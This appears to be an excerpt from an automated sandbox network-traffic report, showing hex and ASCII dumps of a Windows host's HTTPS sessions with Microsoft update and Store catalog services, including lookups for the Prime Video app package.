44 6f 77 6e 6c 6f 61 64 55 72 69 73 22 3a 6e 75 6c 6c 2c 22 46 75 6c 66 
Data Ascii: gs\":[{\"level\":7,\"systemId\":3},{\"level\":12,\"systemId\":5},{\"level\":48,\"systemId\":12},{\"level\":27,\"system
Id\":9},{\"level\":76,\"systemId\":16},{\"level\":68,\"systemId\":15},{\"level\":54,\"systemId\":13}]}}","PackageDownloa
dUris":null,"Fulf

2022-05-13 14:43:12 UTC 11474 IN Data Raw: 65 38 67 61 22 2c 22 53 6b 75 49 64 22 3a 22 30 30 31 31 22 2c 22 43 6f 6e 74 65 6e 74 22 3a 6e 75 6c 6c 2c 
22 50 61 63 6b 61 67 65 46 65 61 74 75 72 65 73 22 3a 6e 75 6c 6c 7d 7d 2c 7b 22 41 70 70 6c 69 63 61 74 69 6f 6e 73 
22 3a 5b 7b 22 41 70 70 6c 69 63 61 74 69 6f 6e 49 64 22 3a 22 41 70 70 22 7d 5d 2c 22 41 72 63 68 69 74 65 63 74 75 
72 65 73 22 3a 5b 22 78 36 34 22 5d 2c 22 43 61 70 61 62 69 6c 69 74 69 65 73 22 3a 5b 22 69 6e 74 65 72 6e 65 74 43 
6c 69 65 6e 74 22 2c 22 69 6e 74 65 72 6e 65 74 43 6c 69 65 6e 74 53 65 72 76 65 72 22 2c 22 70 69 63 74 75 72 65 73 
4c 69 62 72 61 72 79 22 2c 22 4d 69 63 72 6f 73 6f 66 74 2e 73 74 6f 72 65 46 69 6c 74 65 72 2e 63 6f 72 65 2e 6e 6f 74 
53 75 70 70 6f 72 74 65 64 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 
Data Ascii: e8ga","SkuId":"0011","Content":null,"PackageFeatures":null}},{"Applications":[{"ApplicationId":"App"}],"Arch
itectures":["x64"],"Capabilities":["internetClient","internetClientServer","picturesLibrary","Microsoft.storeFilter.core
.notSupported_8wekyb3d8bbwe

2022-05-13 14:43:12 UTC 11478 IN Data Raw: 5f 79 6e 62 36 6a 79 6a 7a 74 65 38 67 61 22 2c 22 50 61 63 6b 61 67 65 49 64 22 3a 22 63 65 36 62 34 38 
39 66 2d 33 30 66 33 2d 34 36 63 36 2d 62 32 65 34 2d 35 65 37 66 30 32 31 31 63 33 35 66 2d 58 38 36 2d 58 36 34 2d 
41 72 6d 22 2c 22 50 61 63 6b 61 67 65 52 61 6e 6b 22 3a 32 30 30 31 33 2c 22 50 6c 61 74 66 6f 72 6d 44 65 70 65 6e 6
4 65 6e 63 69 65 73 22 3a 5b 7b 22 4d 61 78 54 65 73 74 65 64 22 3a 31 36 38 38 38 36 32 37 34 35 31 36 35 38 32 34 
2c 22 4d 69 6e 56 65 72 73 69 6f 6e 22 3a 31 36 38 38 38 36 32 37 34 35 31 36 35 38 32 34 2c 22 50 6c 61 74 66 6f 72 
6d 4e 61 6d 65 22 3a 22 57 69 6e 64 6f 77 73 2e 57 69 6e 64 6f 77 73 38 78 22 7d 5d 2c 22 50 6c 61 74 66 6f 72 6d 44 65 
70 65 6e 64 65 6e 63 79 58 6d 6c 42 6c 6f 62 22 3a 22 7b 5c 22 62 6c 6f 
Data Ascii: _ynb6jyjzte8ga","PackageId":"ce6b489f-30f3-46c6-b2e4-5e7f0211c35f-X86-X64-Arm","PackageRank":20013
,"PlatformDependencies":[{"MaxTested":1688862745165824,"MinVersion":1688862745165824,"PlatformName":
"Windows.Windows8x"}],"PlatformDependencyXmlBlob":"{\"blo

2022-05-13 14:43:12 UTC 11481 IN Data Raw: 30 0d 0a 0d 0a 
Data Ascii: 0
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Session ID Source IP Source Port Destination IP
Destination
Port

Process

152 192.168.2.3 49979 20.54.89.106 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
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2022-05-13 14:43:12 UTC 11481 OUT GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT
=0x30&WUA=10.0.17134.1&MK=52mu3Ytu1dbNXNh&MD=xY6EXTMt HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81
Host: sls.update.microsoft.com

2022-05-13 14:43:13 UTC 11482 IN HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: application/octet-stream
Expires: -1
Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT
ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440"
MS-CorrelationId: 9b71e842-cb89-49af-90e0-fee5cb467065
MS-RequestId: 0764eff0-9268-4f60-9e4d-b8aa994309ea
MS-CV: 4xxs5sWoNUKJ2uk/.0
X-Microsoft-SLSClientCache: 1440
Content-Disposition: attachment; filename=environment.cab
X-Content-Type-Options: nosniff
Date: Fri, 13 May 2022 14:43:12 GMT
Connection: close
Content-Length: 35877

2022-05-13 14:43:13 UTC 11482 IN Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 
00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 
00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 5
4 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 
21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 
80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 
c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b 
Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[
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2022-05-13 14:43:13 UTC 11498 IN Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc 
f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 
1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 
2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 
8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa 
a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 
46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 
Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF

2022-05-13 14:43:13 UTC 11514 IN Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 
31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 
03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 
61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 
74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 
39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 
68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 
Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authori
ty 20100210930182225Z300930183225Z0|10UUS10UWashington10URedm

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

153 192.168.2.3 49980 52.152.110.14 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:43:13 UTC 11517 OUT GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT
=0x30&WUA=10.0.17134.1&MK=52mu3Ytu1dbNXNh&MD=xY6EXTMt HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81
Host: sls.update.microsoft.com

2022-05-13 14:43:13 UTC 11518 IN HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: application/octet-stream
Expires: -1
MS-CorrelationId: bd06e047-621e-4cbd-a425-1a34f1dea037
MS-RequestId: 366edc8c-373e-4d10-bf38-81376df39d33
MS-CV: b9/iajrJnkKQzT5k.0
X-Microsoft-SLSClientCache: 1440
Content-Disposition: attachment; filename=environment.cab
X-Content-Type-Options: nosniff
Date: Fri, 13 May 2022 14:43:13 GMT
Connection: close
Content-Length: 35877

2022-05-13 14:43:13 UTC 11518 IN Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 
00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 
00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 5
4 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 
21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 
80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 
c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b 
Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[

2022-05-13 14:43:13 UTC 11534 IN Data Raw: 41 c6 a2 49 2e 32 71 f5 02 07 81 2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 
23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 
61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 
a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 5b e7 50 31 
07 a1 48 30 3e 6a a4 f0 c4 72 3c 54 96 f6 da df d2 d3 50 d2 84 7b 97 ec 78 f9 43 53 fd e4 71 94 d6 61 5f 1a b6 d2 ca cf 27 
33 68 64 df 14 e1 50 66 07 d7 7e 96 93 5f 64 a6 a8 6b ed 53 9c 38 61 a0 4a c0 c3 f6 42 3e ba 0e e9 8f ca a4 d9 37 47 6f 
e1 9f d2 fc 8f da e3 3f 6a 8f ff a8 3d fe a3 f6 f8 8f da e3 
Data Ascii: AI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF[P1H0>jr<TP{xCSqa_'3hdPf~_dkS8aJB>
7Go?j=

2022-05-13 14:43:13 UTC 11550 IN Data Raw: 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 
52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 
33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 
31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 3
1 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 0
3 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 82 02 22 30 0d 06 09 
2a 86 48 86 f7 0d 01 01 01 05 00 03 82 02 0f 00 30 82 02 0a 02 82 
Data Ascii: oft Corporation1200U)Microsoft Root Certificate Authority 20100210930182225Z300930183225Z0|10UUS10
UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100"0*H0

Session ID Source IP Source Port Destination IP
Destination
Port

Process

154 192.168.2.3 49981 20.223.24.244 443 C:\Program Files\Google\Chrome\Application\chrome.exe
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Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:43:14 UTC 11553 OUT GET /v7.0/products/lookup?alternateId=PackageFamilyName&value=AmazonVideo.PrimeVideo_pwbj9vvecjh7j&m
arket=US&languages=en-US%2Cen%2Cneutral&fieldsTemplate=InstallAgent&moId=Public&oemId=Public&scmId=Public 
HTTP/1.1
Connection: Keep-Alive
Content-Type: application/json
User-Agent: Install Service
MS-CV: 17oDSGofsUSnd458.0.2.4
Host: displaycatalog.mp.microsoft.com

2022-05-13 14:43:14 UTC 11553 IN HTTP/1.1 200 OK
Connection: close
Date: Fri, 13 May 2022 14:43:13 GMT
Content-Type: application/json; charset=utf-8
Server: Kestrel
Transfer-Encoding: chunked
Vary: Authorization
MS-CorrelationId: 68391e49-06bd-4bf7-abb9-e1c6c3085ec6
MS-RequestId: b54f1ec6-0883-4fc5-99eb-f4228e218a6d
MS-CV: 17oDSGofsUSnd458.0.2.4.888072480.0.1.888072480.3817852237.0
X-Content-Type-Options: nosniff
MS-ServerId: 5cdc8-gbqkw
Region: neu
Node: aks-bigcatrpns-32351330-vmss00002l
MS-DocumentVersions: 9P6RC76MSMMJ|1496

2022-05-13 14:43:14 UTC 11554 IN Data Raw: 37 61 65 37 0d 0a 7b 22 42 69 67 49 64 73 22 3a 5b 22 39 50 36 52 43 37 36 4d 53 4d 4d 4a 22 5d 2c 22 48 
61 73 4d 6f 72 65 50 61 67 65 73 22 3a 66 61 6c 73 65 2c 22 50 72 6f 64 75 63 74 73 22 3a 5b 7b 22 4c 61 73 74 4d 6f 
64 69 66 69 65 64 44 61 74 65 22 3a 22 32 30 32 32 2d 30 34 2d 31 32 54 30 39 3a 32 34 3a 31 31 2e 38 30 31 37 39 34 
31 5a 22 2c 22 4c 6f 63 61 6c 69 7a 65 64 50 72 6f 70 65 72 74 69 65 73 22 3a 5b 7b 22 46 72 61 6e 63 68 69 73 65 73 
22 3a 5b 5d 2c 22 49 6d 61 67 65 73 22 3a 5b 7b 22 46 69 6c 65 49 64 22 3a 22 33 30 30 36 37 39 31 38 32 33 31 39 30 
33 32 39 33 35 34 22 2c 22 45 49 53 4c 69 73 74 69 6e 67 49 64 65 6e 74 69 66 69 65 72 22 3a 6e 75 6c 6c 2c 22 42 61 
63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 74 72 61 6e 73 70 61 72 65 
Data Ascii: 7ae7{"BigIds":["9P6RC76MSMMJ"],"HasMorePages":false,"Products":[{"LastModifiedDate":"2022-04-12T09
:24:11.8017941Z","LocalizedProperties":[{"Franchises":[],"Images":[{"FileId":"3006791823190329354","EISListingIdentifier
":null,"BackgroundColor":"transpare

2022-05-13 14:43:14 UTC 11557 IN Data Raw: 36 30 2e 31 34 36 31 38 39 38 35 35 33 36 39 31 39 39 30 35 2e 62 66 64 63 65 66 34 62 2d 39 36 62 65 2d 
34 31 62 36 2d 62 65 38 65 2d 35 66 61 39 34 61 31 34 33 36 38 31 2e 38 31 36 62 34 65 61 38 2d 66 65 37 38 2d 34 65 
66 30 2d 61 30 35 64 2d 64 32 64 62 36 35 39 38 34 66 32 61 22 2c 22 57 69 64 74 68 22 3a 36 36 7d 2c 7b 22 46 69 6c 
65 49 64 22 3a 22 33 30 30 37 39 37 35 31 36 32 30 36 34 38 32 30 36 30 38 22 2c 22 45 49 53 4c 69 73 74 69 6e 67 49 
64 65 6e 74 69 66 69 65 72 22 3a 6e 75 6c 6c 2c 22 42 61 63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 74 72 61 6e 73 
70 61 72 65 6e 74 22 2c 22 43 61 70 74 69 6f 6e 22 3a 22 22 2c 22 46 69 6c 65 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 
31 30 30 33 36 2c 22 46 6f 72 65 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 
Data Ascii: 60.14618985536919905.bfdcef4b-96be-41b6-be8e-5fa94a143681.816b4ea8-fe78-4ef0-a05d-d2db65
984f2a","Width":66},{"FileId":"3007975162064820608","EISListingIdentifier":null,"BackgroundColor":"transparent","Caption
":"","FileSizeInBytes":10036,"ForegroundColor":

2022-05-13 14:43:14 UTC 11561 IN Data Raw: 33 38 39 35 38 31 30 38 38 38 37 38 38 36 32 35 22 2c 22 45 49 53 4c 69 73 74 69 6e 67 49 64 65 6e 74 69 
66 69 65 72 22 3a 6e 75 6c 6c 2c 22 42 61 63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 74 72 61 6e 73 70 61 72 65 6e 
74 22 2c 22 43 61 70 74 69 6f 6e 22 3a 22 22 2c 22 46 69 6c 65 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 31 33 39 38 38 
35 2c 22 46 6f 72 65 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 22 2c 22 48 65 69 67 68 74 22 3a 33 30 30 2c 22 49 6d 61 
67 65 50 6f 73 69 74 69 6f 6e 49 6e 66 6f 22 3a 22 22 2c 22 49 6d 61 67 65 50 75 72 70 6f 73 65 22 3a 22 54 69 6c 65 22 
2c 22 55 6e 73 63 61 6c 65 64 49 6d 61 67 65 53 48 41 32 35 36 48 61 73 68 22 3a 22 6a 4c 75 4f 74 76 78 30 50 6b 6a 
76 75 71 59 75 6a 5a 35 78 56 46 33 50 61 67 71 51 66 59 6e 76 6c 
Data Ascii: 3895810888788625","EISListingIdentifier":null,"BackgroundColor":"transparent","Caption":"","FileSizeInBytes"
:139885,"ForegroundColor":"","Height":300,"ImagePositionInfo":"","ImagePurpose":"Tile","UnscaledImageSHA256Has
h":"jLuOtvx0PkjvuqYujZ5xVF3PagqQfYnvl

2022-05-13 14:43:14 UTC 11565 IN Data Raw: 22 3a 22 32 30 30 30 30 30 30 30 30 30 30 36 37 38 30 31 37 34 31 22 2c 22 45 49 53 4c 69 73 74 69 6e 67 
49 64 65 6e 74 69 66 69 65 72 22 3a 6e 75 6c 6c 2c 22 42 61 63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 74 72 61 6e 
73 70 61 72 65 6e 74 22 2c 22 43 61 70 74 69 6f 6e 22 3a 22 22 2c 22 46 69 6c 65 53 69 7a 65 49 6e 42 79 74 65 73 22 
3a 31 30 39 31 39 33 31 2c 22 46 6f 72 65 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 22 2c 22 48 65 69 67 68 74 22 3a 37 
36 38 2c 22 49 6d 61 67 65 50 6f 73 69 74 69 6f 6e 49 6e 66 6f 22 3a 22 44 65 73 6b 74 6f 70 2f 37 22 2c 22 49 6d 61 67 
65 50 75 72 70 6f 73 65 22 3a 22 53 63 72 65 65 6e 73 68 6f 74 22 2c 22 55 6e 73 63 61 6c 65 64 49 6d 61 67 65 53 48 4
1 32 35 36 48 61 73 68 22 3a 22 46 6f 45 6a 51 53 43 33 41 4c 72 
Data Ascii: ":"2000000000067801741","EISListingIdentifier":null,"BackgroundColor":"transparent","Caption":"","FileSizeIn
Bytes":1091931,"ForegroundColor":"","Height":768,"ImagePositionInfo":"Desktop/7","ImagePurpose":"Screenshot","
UnscaledImageSHA256Hash":"FoEjQSC3ALr

2022-05-13 14:43:14 UTC 11569 IN Data Raw: 65 6f 2e 50 72 69 6d 65 56 69 64 65 6f 5f 70 77 62 6a 39 76 76 65 63 6a 68 37 6a 22 2c 22 50 61 63 6b 61 67 
65 49 64 65 6e 74 69 74 79 4e 61 6d 65 22 3a 22 41 6d 61 7a 6f 6e 56 69 64 65 6f 2e 50 72 69 6d 65 56 69 64 65 6f 22 
2c 22 50 75 62 6c 69 73 68 65 72 43 65 72 74 69 66 69 63 61 74 65 4e 61 6d 65 22 3a 22 43 4e 3d 43 41 46 43 34 36 46 
37 2d 31 37 38 35 2d 34 44 32 32 2d 38 38 34 33 2d 36 32 42 42 32 33 45 39 39 41 43 45 22 2c 22 58 62 6f 78 43 72 6f 7
3 73 47 65 6e 53 65 74 49 64 22 3a 6e 75 6c 6c 2c 22 58 62 6f 78 43 6f 6e 73 6f 6c 65 47 65 6e 4f 70 74 69 6d 69 7a 65 6
4 22 3a 6e 75 6c 6c 2c 22 58 62 6f 78 43 6f 6e 73 6f 6c 65 47 65 6e 43 6f 6d 70 61 74 69 62 6c 65 22 3a 6e 75 6c 6c 7d 2
c 22 41 6c 74 65 72 6e 61 74 65 49 64 73 22 3a 5b 7b 22 49 64 54 
Data Ascii: eo.PrimeVideo_pwbj9vvecjh7j","PackageIdentityName":"AmazonVideo.PrimeVideo","PublisherCertificateN
ame":"CN=CAFC46F7-1785-4D22-8843-62BB23E99ACE","XboxCrossGenSetId":null,"XboxConsoleGenOptimized":nu
ll,"XboxConsoleGenCompatible":null},"AlternateIds":[{"IdT

2022-05-13 14:43:14 UTC 11573 IN Data Raw: 22 63 6f 6e 74 65 6e 74 2e 62 75 6e 64 6c 65 64 50 61 63 6b 61 67 65 73 5c 22 3a 5b 5c 22 41 6d 61 7a 6f 6e 
56 69 64 65 6f 2e 50 72 69 6d 65 56 69 64 65 6f 5f 31 2e 30 2e 39 37 2e 30 5f 78 38 36 5f 5f 70 77 62 6a 39 76 76 65 63 
6a 68 37 6a 5c 22 2c 5c 22 41 6d 61 7a 6f 6e 56 69 64 65 6f 2e 50 72 69 6d 65 56 69 64 65 6f 5f 31 2e 30 2e 39 37 2e 30 
5f 78 36 34 5f 5f 70 77 62 6a 39 76 76 65 63 6a 68 37 6a 5c 22 2c 5c 22 41 6d 61 7a 6f 6e 56 69 64 65 6f 2e 50 72 69 6d 
65 56 69 64 65 6f 5f 31 2e 30 2e 39 37 2e 30 5f 61 72 6d 5f 5f 70 77 62 6a 39 76 76 65 63 6a 68 37 6a 5c 22 5d 2c 5c 22 
63 6f 6e 74 65 6e 74 2e 69 73 4d 61 69 6e 5c 22 3a 66 61 6c 73 65 2c 5c 22 63 6f 6e 74 65 6e 74 2e 70 61 63 6b 61 67 
65 49 64 5c 22 3a 5c 22 41 6d 61 7a 6f 6e 56 69 64 65 6f 2e 
Data Ascii: "content.bundledPackages\":[\"AmazonVideo.PrimeVideo_1.0.97.0_x86__pwbj9vvecjh7j\",\"AmazonVideo.P
rimeVideo_1.0.97.0_x64__pwbj9vvecjh7j\",\"AmazonVideo.PrimeVideo_1.0.97.0_arm__pwbj9vvecjh7j\"],\"content.isMa
in\":false,\"content.packageId\":\"AmazonVideo.
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2022-05-13 14:43:14 UTC 11577 IN Data Raw: 2e 48 6f 6c 6f 67 72 61 70 68 69 63 22 7d 2c 7b 22 4d 61 78 56 65 72 73 69 6f 6e 22 3a 32 31 34 37 34 38 33 
36 34 37 2c 22 4d 69 6e 56 65 72 73 69 6f 6e 22 3a 30 2c 22 50 6c 61 74 66 6f 72 6d 4e 61 6d 65 22 3a 22 57 69 6e 64 6f 
77 73 2e 43 6f 72 65 22 7d 5d 7d 2c 22 45 6e 64 44 61 74 65 22 3a 22 39 39 39 38 2d 31 32 2d 33 30 54 30 30 3a 30 30 
3a 30 30 2e 30 30 30 30 30 30 30 5a 22 2c 22 52 65 73 6f 75 72 63 65 53 65 74 49 64 73 22 3a 5b 22 31 22 5d 2c 22 53 
74 61 72 74 44 61 74 65 22 3a 22 31 37 35 33 2d 30 31 2d 30 31 54 30 30 3a 30 30 3a 30 30 2e 30 30 30 30 30 30 30 5a 
22 7d 2c 22 4c 61 73 74 4d 6f 64 69 66 69 65 64 44 61 74 65 22 3a 22 32 30 32 32 2d 30 34 2d 31 32 54 30 39 3a 32 34 
3a 31 31 2e 38 30 39 37 39 35 38 5a 22 2c 22 4c 69 63 65 6e 73 69 6e 
Data Ascii: .Holographic"},{"MaxVersion":2147483647,"MinVersion":0,"PlatformName":"Windows.Core"}]},"EndDate":
"9998-12-30T00:00:00.0000000Z","ResourceSetIds":["1"],"StartDate":"1753-01-01T00:00:00.0000000Z"},"LastModifie
dDate":"2022-04-12T09:24:11.8097958Z","Licensin

2022-05-13 14:43:14 UTC 11581 IN Data Raw: 69 6e 64 6f 77 73 2e 44 65 73 6b 74 6f 70 22 7d 5d 2c 22 50 6c 61 74 66 6f 72 6d 44 65 70 65 6e 64 65 6e 63 
79 58 6d 6c 42 6c 6f 62 22 3a 22 7b 5c 22 62 6c 6f 62 2e 76 65 72 73 69 6f 6e 5c 22 3a 31 36 38 38 38 36 37 30 34 30 35 
32 36 33 33 36 2c 5c 22 63 6f 6e 74 65 6e 74 2e 62 75 6e 64 6c 65 64 50 61 63 6b 61 67 65 73 5c 22 3a 5b 5c 22 41 6d 
61 7a 6f 6e 56 69 64 65 6f 2e 50 72 69 6d 65 56 69 64 65 6f 5f 31 2e 30 2e 39 37 2e 30 5f 78 38 36 5f 5f 70 77 62 6a 39 
76 76 65 63 6a 68 37 6a 5c 22 2c 5c 22 41 6d 61 7a 6f 6e 56 69 64 65 6f 2e 50 72 69 6d 65 56 69 64 65 6f 5f 31 2e 30 2e 
39 37 2e 30 5f 78 36 34 5f 5f 70 77 62 6a 39 76 76 65 63 6a 68 37 6a 5c 22 2c 5c 22 41 6d 61 7a 6f 6e 56 69 64 65 6f 2e 
50 72 69 6d 65 56 69 64 65 6f 5f 31 2e 30 2e 39 37 2e 30 5f 
Data Ascii: indows.Desktop"}],"PlatformDependencyXmlBlob":"{\"blob.version\":1688867040526336,\"content.bundle
dPackages\":[\"AmazonVideo.PrimeVideo_1.0.97.0_x86__pwbj9vvecjh7j\",\"AmazonVideo.PrimeVideo_1.0.97.
0_x64__pwbj9vvecjh7j\",\"AmazonVideo.PrimeVideo_1.0.97.0_

2022-05-13 14:43:14 UTC 11585 IN Data Raw: 30 0d 0a 0d 0a 
Data Ascii: 0

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

16 192.168.2.3 49718 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:39:59 UTC 192 OUT GET /image/apps.64128.9007199266246227.c596c546-6fcb-4260-935c-19bc24b971ef.d58015ff-2fcf-4113-975b-
e873039b6d86?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-05-13 14:39:59 UTC 193 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 9564
Content-Type: image/png
Last-Modified: Fri, 19 Jun 2020 10:03:46 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDgxNDM4MEU0RkE1MkY"
MS-CV: PTXdXnhlC0uTORe3.0
Access-Control-Expose-Headers: MS-CV
Date: Fri, 13 May 2022 14:39:59 GMT
Connection: close
Access-Control-Allow-Origin: *

